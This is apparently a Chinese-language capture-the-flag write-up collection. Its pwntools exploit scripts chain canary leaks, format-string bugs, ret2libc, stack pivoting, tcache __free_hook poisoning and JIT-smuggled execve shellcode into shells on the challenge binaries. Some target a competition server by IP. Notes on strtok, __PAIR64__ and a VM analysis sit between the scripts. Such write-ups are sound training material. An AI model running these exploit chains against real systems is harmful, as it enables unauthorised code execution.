没有libc,先想办法泄露libc,read迁移到bss段上去执行got表泄露
拿到libc之后构造后门就好
system函数会压栈
栈迁移压栈简介 栈向下增长
system 函数在运行时会通过 sub rsp, 0x388 等指令向下开辟 大量的局部变量空间,这要求 RSP 指向的内存区域必须具备 RW(可读写) 权限且空间充足(建议预留 0x500 字节以上),否则一旦 RSP 减小后超出了读写段边界(撞进只读段或未分配区)或者覆盖了你后续的 ROP 数据,程序就会立即崩溃。
sub rsp 0x388之后还要调用 fork 、甚至 execve。这些子函数每一个都会建立自己的栈帧(继续 push 和 sub rsp)。
rw段权限 读:pop rdi ;ret #CPU 从这个地址读 gadget 给 RIP
写:p.send(payload) # 写payload
所以必须是:
RW_ 权限段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * import sys from LibcSearcher import * file_path = "./stacksmall" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, """ # b *0x40121B # c # """, api=True) elf = ELF(file_path) def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) bss=0x404500 main=0x4011DB rdi=0x401225 leave=0x40121B lea=0x401200 rbp=0x40115d puts_plt=elf.plt["puts"] puts_got=elf.got["puts"] ret=0x40101a pay1=b"a"*0x50+p64(bss+0x50)+p64(lea) sa(b"Xswlhhh!Use stack hijacking on him!",pay1) pay=p64(rdi)+p64(puts_got)+p64(puts_plt) pay+=p64(rbp)+p64(bss+0x200+0x50)+p64(lea) pay=pay.ljust(0x50,b"a")+p64(bss-8)+p64(leave) p.send(pay) puts =uu64() print(b"puts==========="+hex(puts).encode()) libc=LibcSearcher("puts",puts) libc_base=puts-libc.dump("puts") print(b"libc_base==========="+hex(libc_base).encode()) system=libc_base+libc.dump("system") bin=libc_base+libc.dump("str_bin_sh") print(b"system==========="+hex(system).encode()) print(b"bin==========="+hex(bin).encode()) payload=p64(ret)+p64(rdi)+p64(bin)+p64(ret)+p64(system)#16字节对齐+一个ret payload=payload.ljust(0x50,b"\x00") payload+= p64(bss+0x200)+p64(leave)#不用+8的 p.send(payload) p.interactive()
fufu fmt+canary+ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import * import sys from LibcSearcher import * # 配置信息 file_path = "./attachment-32" remote_host = "101.200.155.151" remote_port = 12600 context(arch='amd64', os='linux', log_level='debug') # 终端配置 context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) elf = ELF(file_path) libc = elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) def cmd(choice): sla(b'Furina: Your choice? >> ', str(choice)) def fmt(length, data, size): cmd(1) sla(b'Furina: Time is limited! >> ', str(length)) sla(b'Furina: Present your evidence! >> ', data) key = int(p.recv(size), 16) sla(b'hcy want to eat chicken! >> ', b'YFOR') return key def over(data): cmd(2) ru(b'Furina: The trial is adjourned') sl(data) canary = fmt(6, b'%17$p', 18) leak = fmt(6, b'%23$p', 14) pie = fmt(6, b'%19$p', 14) - 0x13d6 pop_rdi = pie + 0x132f ret = pie + 0x101a libc_search = LibcSearcher('__libc_start_main_ret', leak) libc_base = leak - libc_search.dump('__libc_start_main_ret') print(f"[*] libc_base: {hex(libc_base)}") system = libc_base + libc_search.dump('system') sh = libc_base + libc_search.dump('str_bin_sh') payload = b'a' * (0x50 - 8) + p64(canary) + b'a' * 0x8 payload += p64(pop_rdi) + p64(sh) + p64(ret) + p64(system) over(payload) p.interactive()
genius 一个字节覆盖canary的/x00,printf输出canary,打ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * context(arch='amd64',os='linux') p=process('./attachment-22') #gdb.attach(io) elf=ELF('./attachment-22') sh=0x402004 pop_rdi=0x4013f3 ret=0x40101a system=0x401050 p.sendline(b'no') p.sendline(b'thanks') p.recvuntil(b'what you want in init') p.send(b'a'*(0x19)) p.recvuntil(b'a'*(0x18)) canary=u64(p.recv(8))-0x61 payload=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system) p.sendline(payload) p.interactive()
program UAF漏洞和堆溢出漏洞
但是2.31-0ubuntu9.17_amd64的uaf比较麻烦,可以考虑用堆溢出去打
先malloc一个超出tcachebin范围的chunk,jinru unsorted bin泄露libc
1 2 3 4 5 6 7 8 9 10 11 add(0,0x500) add(1,0x60) delete(0) add(0,0x40) show(0) leak=u64(p.recv(6).ljust(8,b'\x00')) libc_base=leak-0x1ed010 print(hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] print(hex(free_hook)) system=libc_base+libc.sym['system']
之后free两个chunk,改tcache bin链表,(tcache bin不校验size,可以随意放置)
并且给free的参数是chunk的usr_addr,可以把free_hook放到usr_addr+8处,在user_addr(参数)处放bin/sh
1 2 3 4 5 6 7 8 9 10 add(2,0x60) delete(2) delete(1) edit(1,0x8,p64(free_hook-8)) add(1,0x60) add(2,0x60) edit(2,0x10,b'/bin/sh\x00'+p64(system)) pause() delete(2) p.interactive()
pwn1 格式化字符串漏洞加canary+ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context(arch='amd64',os='linux') # io=remote('101.200.155.151',12400) io=process('./pwn1') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] def dbg(): gdb.attach(io) pause() elf=ELF('./pwn1') libc=elf.libc puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] vuln=0x8049210 io.recvuntil(b"What's your name?\n\n") payload=b'%20$paaaa%23$p' io.sendline(payload) libc_base=int(io.recv(10),16)-0x226d00-0x4000 print(hex(libc_base)) system=libc_base+libc.sym['system'] sh=libc_base+next(libc.search(b'/bin/sh\x00')) io.recvuntil(b'aaaa') canary=int(io.recv(10),16) io.recvuntil(b"What's your password?\n\n") payload=b'a'*(0x4c-12)+p32(canary)+b'a'*(12)+p32(system)+p32(0)+p32(sh) io.sendline(payload) io.interactive()
key 堆基础分析uaf
canary+ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import * context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='key' elf=ELF(file) libc=ELF('attachment-8.so') choice = 0x0 if choice: port= 12200 iscc='101.200.155.151' p = remote(iscc,port) else: p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def debug(cmd=''): if choice==1: return # gdb.attach(p,cmd) gdb.attach(p,'b *0x400c45') sla('size:\n',str(0x64)) sla('flag:\n',b'flag') # 填满临时变量,read就不会在末尾加上'\x00',puts就能连带后面的canary一起输出 payload=b'a'*0x19 sa('welcome to ISCC\n',payload) canary = u64(ru('.')[-8:-1].rjust(8,b'\x00')) leak('canary') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x00000000004014c3 vuln=0x000000000040135C ret=0x000000000040101a payload = p64(canary) payload = payload.rjust(0x20,b'a') payload += b'a'*8 payload += flat(pop_rdi,puts_got,puts_plt,vuln) # debug() sla('nice to meet you',payload) puts_addr=uru64() leak('puts_addr') libc_base=puts_addr-libc.sym['puts'] leak('libc_base') system,binsh=get_sb() sa('welcome to ISCC\n',b'a') payload = p64(canary) payload = payload.rjust(0x20,b'a') payload += b'a'*8 payload += flat(ret,pop_rdi,binsh,system,vuln) sla('nice to meet you',payload) itr()
魔导王的秘密 还是uaf+堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import * import sys from LibcSearcher import * file_path = "./attachment-13" remote_host = "127.0.0.1" remote_port = 1111 context(arch='amd64', os='linux', log_level='debug') context.terminal = [ "wt.exe", "--profile", "WSL GDB (Black)", "wsl.exe", "bash", "-ic" ] if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) # gdb.attach(p, """ # b *0x08048666 # c # """, api=True) elf = ELF(file_path) libc = elf.libc def dbg(): gdb.attach(p) pause() def sla(a, b): p.sendlineafter(a, b) def sl(a): p.sendline(a) def s(a): p.send(a) def ru(a): p.recvuntil(a) def sa(a, b): p.sendafter(a, b) def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) def cmd(choice): p.recvuntil(b'Chant your choice:\n') p.sendline(str(choice)) def add(index, size): cmd(1) p.recvuntil(b'Celestial alignment coordinate:\n') p.sendline(str(index)) p.recvuntil(b'Quantum essence required:\n') p.sendline(str(size)) def delete(index): cmd(2) p.recvuntil(b'Cursed sanctum to cleanse:\n') p.sendline(str(index)) def edit(index, size, data): cmd(3) p.recvuntil(b'Sanctum for arcane inscription:\n') p.sendline(str(index)) p.recvuntil(b'Runic sequence length:\n') p.sendline(str(size)) p.recvuntil(b'Inscribe your primordial truth:\n') p.send(data) def show(index): cmd(4) p.recvuntil(b'Sanctum to reveal cosmic truth:\n') p.sendline(str(index)) add(0,0x500) add(1,0x60) delete(0) add(0,0x500) show(0) libc_base=uu64()-0x3ebca0 print(hex(libc_base)) add(2,0x60) delete(1) delete(2) free=libc_base+libc.sym["__free_hook"]-8 # dbg() edit(2,8,p64(free)) system,bin=bin_sys(libc_base) add(1,0x60) add(2,0x60) edit(2,16,b'/bin/sh\x00'+p64(system)) delete(2) p.interactive() # def exploit(): # p.interactive() # count = 0 # while True: # count += 1 # try: # if 're' in sys.argv: # p = remote(remote_host, remote_port) # else: # p = process(file_path) # # print(f"[*] 第 {count} 次尝试爆破...") # exploit() # print(f"[+] 爆破成功,共尝试了 {count} 次!") # break # except Exception as e: # print(f"[-] Wrong: {e}") # try: # p.close() # except: # pass
vm:star: 一般指 CTF Pwn 里“虚拟机解释器类题目”:题目程序自己实现了一套自定义指令集/字节码和一个解释器(VM),把很多类似“汇编/CPU”的概念(寄存器、栈、内存段、指令执行循环等)用代码模拟出来,然后你要在这套 VM 的实现里找漏洞并利用
strtok函数 strtok 是 C 语言标准库中的一个函数,专门用于将字符串分割成一系列的标记(tokens) 。
简单来说,它的作用就是根据你指定的“分隔符”(比如逗号、空格、分号),把一个长句子切碎。
1 >char *strtok(char *str, const char *delim);
str : 要被分割的字符串(注意:这个字符串会被修改 )。
delim : 包含所有分隔符的字符串。
返回值 : 返回指向当前找到的标记的指针;如果没找到,返回 NULL。
当找到一个分隔符时,strtok 会把该位置的字符替换成空字符 \0。
它在内部维持一个静态变量,记录下一次扫描开始的位置。
第一次调用时传入字符串地址 str,之后的连续调用需要传入 NULL,告诉它“从上次断开的地方继续往后找”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 >#include <stdio.h> >#include <string.h> >int main() { char s[] = "anon,ido,99"; char *v17; char *s1; // 1. 第一次调用:传入字符串 s // 它会找到第一个逗号,把逗号改成 '\0',并返回 "anon" 的首地址 v17 = strtok(s, ","); // 2. 第二次调用:传入 NULL // 这告诉函数:“从上次切断的地方继续往后找” // 它会找到下一个逗号,改掉它,返回 "ido" 的首地址 s1 = strtok(NULL, ","); printf("v17 的内容: %s\n", v17); // 输出: anon printf("s1 的内容: %s\n", s1); // 输出: ido return 0; >}
PAIR64
把两个 32 位值拼成一个 64 位值。
1 #define __PAIR64__(high, low) ( ( (uint64)(high) << 32 ) | (uint32)(low) )
high:高 32 位(你这里是 mode)
low:低 32 位(你这里是 inmode)
结果:一个完整的 64 位整数:high << 32 | low
1 opcode_list[1] = __PAIR64__(mode, inmode);
等价于:
1 opcode_list[1] = ( (uint64)mode << 32 ) | (uint32)inmode;
就是把 mode 放高 32 位、inmode 放低 32 位,拼成一个 64 位的 opcode。
ai分析流程
第一阶段 (strtok) :
检查 s1(第二个 token)是否为 "ido"。如果不是 "ido",则跳出循环。
跳出循环后,如果 s1 是 "stop",则进入执行阶段(mutsumi_jit 和 run_vm)。
第二阶段 (nptr) :
如果输入是 to,则后续需要输入一个特定的名字,并映射为整数 n2:
tomorin -> 0
rikki -> 1
anon -> 2
soyorin -> 3
如果输入不是 to,则直接通过 atoi(nptr) 将输入转为整数。
你的分析已经非常到位,精准地捕捉到了指令解析的前半部分。按照你的样式,我为你补充完整整个 VM 从数据封装 到最终执行 的后续流程分析:
第三阶段 (数据结构封装):
程序将解析后的指令信息结构化地存入 Vm 管理区:
槽位分配 :采用 16 字节对齐 的方式存储,通过 16 * index + Vm 手动计算内存偏移。
指令名存储 :在前 8 字节 存放操作码字符串(如 saki)的内存地址指针。
操作数打包 :利用 __PAIR64__ 宏,将 4 字节 的类型标志 v13 和 4 字节 的具体数值 asm_index 组合成一个 8 字节 的数值,存放在该槽位的后半部分。
第四阶段 (即时编译 - mutsumi_jit):
当接收到 stop 指令后,VM 进入“代码生成”环节,将结构化的数据转换为 CPU 可直接识别的机器指令:
模式判定 :
角色映射模式 :若标志位为角色模式,则将名字 ID(0-3)硬编码转换为 x86 的 寄存器跳转指令 (如 FF E0 代表 jmp rax 等)。
数值逻辑模式 :若为数值模式,则调用内置的 imm2asm 函数,将输入的整数作为 偏移量(Immediate) ,生成对应的跳转指令(如 E9 [4字节数值])。
内存流构建 :将生成的这些 2 字节或 5 字节的机器码片段,按输入顺序连续拷贝(memcpy)到预先分配好的 0x114000 缓冲区中。
第五阶段 (环境切换与执行 - run_vm):
VM 最终通过改变内存属性来激活生成的指令序列:
内存保护切换 :调用 mprotect 动态修改 0x114000 区域的属性,将其设置为 可读可执行 (PROT_READ | PROT_EXEC) 。
执行流交接 :通过读取 p_Vm 偏移 16 位置存储的基地址(即 0x114000),将其作为 函数指针 发起调用。
虚拟机运行 :CPU 的控制权正式移交给 JIT 缓冲区,开始按序执行由 mutsumi_jit 拼接而成的机器指令流,直至遇到退出或返回指令。
短跳直接跳过jmp执行构造的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * context(arch='amd64',os='linux') io= process("./pwn") def send_cmd(payload): io.sendline(b'xidp,ido') io.sendline(payload) def bytes_to_int_encoder(bytes): return str(struct.unpack('<I', bytes)[0]) # 0x6873 2f6e 6962 2f = hs/nib/ code_fragments = [ b"\x34\x3b\x90\x90",#xor al,59; b"\x48\x31\xf6\x90",#xor rsi,rsi; b"\x48\x31\xd2\x90",#xor rdi,rdi; b"\x66\xbb\x73\x68",#mov bx,0x6873 rbx=0000 0000 0000 6873 b"\x48\xc1\xe3\x10",#shl rbx,0x10 rbx=0000 0000 6873 0000 b"\x66\xbb\x6e\x2f",#mov bx,0x2f6e rbx=0000 0000 6873 2f6e b"\x48\xc1\xe3\x10",#shl rbx,0x10 rbx=0000 6873 2f6e 0000 b"\x66\xbb\x62\x69",#mov bx,0x6962 rbx=0000 6873 2f6e 6962 b"\x48\xc1\xe3\x08",#shl rbx,0x8 rbx=0068 732f 6e69 6200 b"\x66\xbb\x2f\x62",#mov bx,0x622f rbx=0068 732f 6e69 622f b"\x53\x90\x90\x90",#push rbx b"\x89\xe7\x90\x90",#mov edi,esp b"\x0f\x05\x90\x90",#syscall ] for code_segment in code_fragments: send_cmd(payload = b"1")#EB 01 send_cmd(payload = bytes_to_int_encoder(code_segment))# 生成 E9 [4字节代码] (5字节) # 结束输入开始运行 io.sendline(b'saki,stop') io.interactive()